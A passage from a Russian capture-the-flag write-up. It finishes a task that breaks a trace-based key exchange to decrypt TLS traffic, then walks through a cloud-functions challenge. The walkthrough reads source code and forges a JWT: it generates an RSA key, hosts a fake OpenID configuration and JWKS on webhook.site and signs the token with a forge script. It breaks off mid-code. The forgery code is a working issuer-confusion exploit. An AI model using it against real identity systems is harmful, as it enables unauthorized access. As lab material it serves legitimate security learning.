\u043f\u043e\u043b\u0443\u0447\u0438\u043c:<\/p>\n<pre><code>x^3 - Tr(h)*x^2 + Tr(h)^p*x - 1 = 0<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0442\u0443\u0434\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0442\u0440\u0435\u0439\u0441, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0439\u0442\u0438 \u0442\u0440\u0438 \u043a\u043e\u0440\u043d\u044f, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u0441\u043e\u0431\u043e\u0439 h, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f a.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c <code>a<\/code>, \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c <code>trace_pow(Tr(g^b),a)<\/code>, \u0442\u0430\u043a \u043a\u0430\u043a <code>Tr(g^b)<\/code> \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c <code>Tr(g^ab)<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u044d\u0442\u043e\u0442 \u043f\u0430\u043a\u0435\u0442.<\/p>\n<h4>\u041f\u043e\u043b\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430<\/h4>\n<h3>\u0428\u0430\u0433 1. \u0418\u0437 ClientHello<\/h3>\n<pre><code>T_a = Tr(g^a) = 012f9f51fe1b50d0b2b8bbb31860928195a694a5e3b70058d9a0570a724bc0e55374e9fe841c1dc5ba775475<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 2. \u0418\u0437 traces.so<\/h3>\n<pre><code>tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452Tr(g) = 01346da6b3f76a70512ac04fc79f6145310651c454f6026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 3. \u041f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c \u0442\u0440\u0435\u0439\u0441\u044b.<\/h3>\n<pre><code>K = GF(p)[z] \/ (z^6+z^5+z^4+z^3+z^2+z+1)g = 419155619184477410849425191972410243956454988400599+ 1063693792213172793726847418628526464527299439779206*z+ 1023397249958495592505563846016080785679027249780902*z^2+ 64283637634869039421212930520839069036364183864951*z^3+ 170612701662456590852360518256710979389904837427884*z^4+ 283272005904203596987431150675585159404712430512814*z^5  g^a = 988689660887621972047952089206718017440191054967183+ 921484694868511901088628973895314511905336430256223*z+ 978496653708328358094484368389640687356705286741588*z^2+ 809394707057309548365746973470823683842127920926203*z^3+ 1159733101229942437840948964783667179335701387787456*z^4+ 97977510202042116335931064302959707228733526989678*z^5<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 4. Pohlig-Hellman \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c<\/h3>\n<pre><code>a_equiv = 1600264069530041134237709059089938833315027738046497806414525003179838026853094764599127101666949673408<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 5. \u0418\u0437 ServerHello \u0431\u0435\u0440\u0451\u043c<\/h3>\n<pre><code>T_b = Tr(g^b) = 018d421aa2e6c8205e5761af45c1e475c59d2bd204b50265382a735e7234a17def1169a948f4c72248435fa4<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 6. \u041e\u0431\u0449\u0438\u0439 \u0441\u0435\u043a\u0440\u0435\u0442<\/h3>\n<pre><code>trace_pow(T_b, a_equiv) = Tr(g^(ab)) = 01d8467d36b9847f9a26eb635105cd7d9da85c7053c902546d782b4b56fb0634830edec517fd04cd3aace413<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0428\u0430\u0433 7. TLS 1.3 key schedule<\/h3>\n<p>Raw shared secret \u043f\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u0432 HKDF-SHA384. \u0418\u0437 \u043d\u0435\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u044f\u0442\u0441\u044f:<\/p>\n<pre><code>client handshake keyserver handshake keyclient application keyserver application key<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 TLS records \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f AES-256-GCM.<\/p>\n<p>\u0412 frame 156 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0444\u043b\u0430\u0433\u043e\u043c:<\/p>\n<pre><code>POST \/api\/register HTTP\/1.1Host: webContent-Type: application\/jsonContent-Length: 209{\"username\":\"ndelacroix\",\"first_name\":\"Noah\",\"last_name\":\"Delacroix\",\"email\":\"ndelacroix@hexline.dev\",\"password\":\"contributor-pw-2025\",\"role\":\"author\",\"invite\":\"ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}\"}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code>ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h2>Day #6 \/ Yaxoo!<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>My friend at Yaxoo claims he can be trusted to protect the company\u2019s most valuable assets \u2014 especially its corporate flag, which is judging by the price must be made of pure gold and company secrets.<\/p>\n<p>Don\u2019t settle for a mug. Steal the flag and prove him terribly wrong!<\/p>\n<p><a href=\"https:\/\/market.yaxoo.rubikoid.me\">market.yaxoo.rubikoid.me<\/a><\/p>\n<p>This task was prepared by <a href=\"https:\/\/t.me\/dotrubic\">@dotrubic<\/a><\/p>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 loqpa<\/h3>\n<h4>\u0427\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u0435\u0441\u0442\u044c \u0432 Yaxoo<\/h4>\n<p>\u0423 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/market.yaxoo.rubikoid.me\">Market<\/a> \u2014 \u043c\u0430\u0433\u0430\u0437\u0438\u043d; <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/94\/54\/0d\/94540d57c9888115ae2d5cf9be4a0300.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/94\/54\/0d\/94540d57c9888115ae2d5cf9be4a0300.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/94\/54\/0d\/94540d57c9888115ae2d5cf9be4a0300.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<\/li>\n<li>\n<p><a href=\"https:\/\/cloud.yaxoo.rubikoid.me\">Cloud<\/a> \u2014 \u0437\u0430\u043f\u0443\u0441\u043a Python-\u0444\u0443\u043d\u043a\u0446\u0438\u0439; <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/60\/dd\/44\/60dd443a3a1447e3798ada18aaec5267.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/60\/dd\/44\/60dd443a3a1447e3798ada18aaec5267.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/60\/dd\/44\/60dd443a3a1447e3798ada18aaec5267.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<\/li>\n<li>\n<p><a href=\"https:\/\/idp.yaxoo.rubikoid.me\">IDP<\/a> \u2014 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u0438 JWT. <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/de\/b1\/abdeb1b8d37f9c15b675f6c6347bdc0c.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ab\/de\/b1\/abdeb1b8d37f9c15b675f6c6347bdc0c.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/de\/b1\/abdeb1b8d37f9c15b675f6c6347bdc0c.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<\/li>\n<\/ul>\n<p><a href=\"https:\/\/idp.yaxoo.rubikoid.me\">https:\/\/idp.yaxoo.rubikoid.me<\/a> \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e FastAPI-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043b\u0435\u0436\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u0430\u044f OpenAPI-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/market.yaxoo.rubikoid.me\/openapi.json\">Market OpenAPI<\/a>;<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/cloud.yaxoo.rubikoid.me\/openapi.json\">Cloud OpenAPI<\/a>;<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/idp.yaxoo.rubikoid.me\/openapi.json\">IDP OpenAPI<\/a>.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 Market \u043b\u0435\u0436\u0438\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442:<\/p>\n<pre><code class=\"json\">{    \"id\": \"p11\",    \"slug\": \"yaxoo-flag\",    \"price_minor\": 1000000000,    \"employee_only\": true}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/4b\/03\/0f\/4b030f12568ac742d7d0c615d9e6cef5.png\" alt=\"\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u0432\u0430\u0440 Yaxoo Flag\" title=\"\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u0432\u0430\u0440 Yaxoo Flag\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/4b\/03\/0f\/4b030f12568ac742d7d0c615d9e6cef5.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/4b\/03\/0f\/4b030f12568ac742d7d0c615d9e6cef5.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u0432\u0430\u0440 Yaxoo Flag<\/figcaption><\/div>\n<\/figure>\n<p>10 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0440\u0443\u0431\u043b\u0435\u0439, \u0443 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f 10 \u0442\u044b\u0441\u044f\u0447. \u041f\u043b\u044e\u0441 \u0442\u043e\u0432\u0430\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u0438\u0448\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u043c. \u0417\u043d\u0430\u0447\u0438\u0442 \u0446\u0435\u043b\u044c \u044f\u0441\u043d\u0430: \u0441\u0442\u0430\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u043c, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b.<\/p>\n<h4>Cloud<\/h4>\n<p>\u041a\u043b\u0430\u0443\u0434 \u0441\u0435\u0440\u0432\u0438\u0441 \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043e\u0431\u043b\u044b\u0447\u043d\u044b\u0439 RCE as a service \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0424\u0443\u043d\u043a\u0446\u0438\u0439 (Yaxoo Cloud \u00b7 Functions).<\/p>\n<p>\u0421\u0442\u0440\u044f\u0445\u0438\u0432\u0430\u0435\u043c \u043f\u044b\u043b\u044c \u0441 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0430\u0432\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n<p>\u0412 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430, <code>sh<\/code> &#8212; \u043d\u0435\u0442:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/7d\/7d\/e9\/7d7de9b8f5ea82bb0d687625b515cca7.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/7d\/7d\/e9\/7d7de9b8f5ea82bb0d687625b515cca7.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/7d\/7d\/e9\/7d7de9b8f5ea82bb0d687625b515cca7.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438:<\/p>\n<pre><code class=\"json\">{\"message\": \"Hello, ['persistence', 'api', '__pycache__', 'app.py', 'config.py', 'rate_limits.py', 'py.typed', 'http.py', 'worker.py', 'domain', 'service.py', '__init__.py', 'executor.py', 'auth.py']!\"}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/0d\/cc\/9c\/0dcc9c0280498accf9c9685a4e5b2e04.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/0d\/cc\/9c\/0dcc9c0280498accf9c9685a4e5b2e04.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/0d\/cc\/9c\/0dcc9c0280498accf9c9685a4e5b2e04.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0414\u043e\u0441\u0442\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c \u043a \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044e.<\/p>\n<h3>Warning based auth<\/h3>\n<p>\u0412 <code>auth.py<\/code> \u043d\u0430\u0448\u0451\u043b\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"python\">issuer = self._unverified_issuer(token)# ...issuer_trusted = issuer in self._trusted_issuersadmins_realm = urlsplit(issuer).path.rstrip(\"\/\") == \"\/admins\"try:    client = await self._client_for(issuer)    claims = await client.validate_id_token(token, token_cls=YaxooIDToken)except Exception as error:    # ...    if not issuer_trusted or admins_realm:    logger.warning(        \"oidc_token_validated_sensitive_issuer\",        issuer=issuer,        subject=claims.sub,        issuer_trusted=issuer_trusted,        admins_realm=admins_realm,        can_access_network=claims.can_access_network,        client_id=self._client_id,    )return PrincipalIdentity(    issuer=issuer,    subject=claims.sub,    can_access_network=claims.can_access_network,)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041a\u043e\u0434 \u0437\u043d\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 issuer_trusted, \u043d\u043e \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0435\u0433\u043e. \u0417\u043d\u0430\u0447\u0438\u0442 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0431\u0435\u0437 OIDC-\u043c\u0430\u0433\u0438\u0438:<\/p>\n<ol>\n<li>\n<p>Cloud \u0431\u0435\u0440\u0451\u0442 <code>iss<\/code> \u0438\u0437 \u0435\u0449\u0451 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e JWT.<\/p>\n<\/li>\n<li>\n<p>\u0418\u0434\u0451\u0442 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 URL \u0437\u0430 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c.<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e issuer \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0438\u0448\u0435\u0442 \u043e\u0431 \u044d\u0442\u043e\u043c warning \u0432 \u043b\u043e\u0433.<\/p>\n<\/li>\n<li>\n<p>\u0412\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n<\/ol>\n<h4>I am the OIDC<\/h4>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n<p>\u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 RSA \u043a\u043b\u044e\u0447 \u0438 \u0440\u0435\u0441\u0443\u0440\u0441, \u0433\u0434\u0435 \u043c\u044b \u0437\u0430\u0445\u043e\u0441\u0442\u0438\u043c \u043f\u0435\u0439\u043b\u043e\u0430\u0434.<\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <a href=\"https:\/\/mkjwk.org\/\">https:\/\/mkjwk.org\/<\/a> , \u0438\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0435 \u0440\u0443\u043a\u0430\u043c\u0438:<\/p>\n<pre><code class=\"bash\">    openssl genpkey \\      -algorithm RSA \\      -pkeyopt rsa_keygen_bits:2048 \\      -out attacker-private.pem    openssl pkey \\      -in attacker-private.pem \\      -pubout \\      -out attacker-public.pem<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"python\">import base64import jsonfrom cryptography.hazmat.primitives import serializationdef b64url_integer(value: int) -&gt; str:    size = (value.bit_length() + 7) \/\/ 8    raw = value.to_bytes(size, \"big\")    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()with open(\"attacker-public.pem\", \"rb\") as source:    key = serialization.load_pem_public_key(source.read())numbers = key.public_numbers()jwks = {    \"keys\": [{        \"kty\": \"RSA\",        \"key_ops\": [\"verify\"],        \"n\": b64url_integer(numbers.n),        \"e\": b64url_integer(numbers.e),        \"kid\": \"yaxoo-ctf-key\",        \"use\": \"sig\",        \"alg\": \"RS256\"    }]}print(json.dumps(jwks, indent=2))<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h3>\u0425\u043e\u0441\u0442\u0438\u043d\u0433<\/h3>\n<p>\u0425\u043e\u0441\u0442\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043d\u0430 webhook.site:<\/p>\n<ol>\n<li>\n<p>JWT.iss \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 <a href=\"https:\/\/webhook.site\/e517f18d-0047-403a-8d22-fd55adb28d19\/.well-known\/openid-configuration\">https:\/\/webhook.site\/e517f18d-0047-403a-8d22-fd55adb28d19\/.well-known\/openid-configuration<\/a><\/p>\n<\/li>\n<\/ol>\n<p>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<pre><code class=\"python\">    {      \"issuer\": \"https:\/\/webhook.site\/e517f18d-0047-403a-8d22-fd55adb28d19\/.well-known\/openid-configuration\",      \"jwks_uri\": \"https:\/\/webhook.site\/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395\",      \"response_types_supported\": [\"id_token\"],      \"grant_types_supported\": [],      \"subject_types_supported\": [\"public\"],      \"id_token_signing_alg_values_supported\": [\"RS256\"],      \"scopes_supported\": [\"openid\", \"profile\", \"email\"],      \"claims_supported\": [        \"iss\", \"sub\", \"aud\", \"exp\", \"iat\", \"can_access_network\"      ]    }<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<ol start=\"2\">\n<li>\n<p>jwks_uri \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 <a href=\"https:\/\/webhook.site\/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395\">https:\/\/webhook.site\/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395<\/a> \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 &#8212; JWKS \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0448\u0430\u0433\u0435.<\/p>\n<\/li>\n<\/ol>\n<h3>\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f<\/h3>\n<p>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 JWT, \u0434\u0430\u0435\u043c \u0441\u0435\u0431\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e \u0441\u0435\u0442\u0438.<\/p>\n<pre><code class=\"python\"># forge.pyimport timeimport jwtISSUER = \"https:\/\/webhook.site\/e517f18d-0047-403a-8d22-fd55adb28d19\/.well-known\/openid-configuration\"with open(\"attacker-private.pem\", \"rb\") as source:    private_key = source.read()now = int(time.time())claims = {    \"iss\": ISSUER,    \"sub\": \"loqpa-network\",    \"aud\": \"yaxoo-cloud\",    \"email\": \"loqpa@example.com\",    \"name\": \"Loqpa Network\",    \"can_access_network\": True,    \"auth_time\": now,    \"iat\": now,    \"exp\": now + 1800,}token = jwt.encode(    claims,    private_key,    algorithm=\"RS256\",    headers={        \"kid\": \"yaxoo-ctf-key\",        \"typ\": \"JWT\",    },)print(token)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h4>\u0421\u0435\u0442\u044c, PostgreSQL \u0438 \u0444\u043b\u0430\u0433<\/h4>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u043e\u0432\u044b\u043c JWT \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0441\u0435\u0442\u0438:<\/p>\n<pre><code class=\"python\">network_namespace = \"--share-net\" if can_access_network else \"--unshare-net\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: 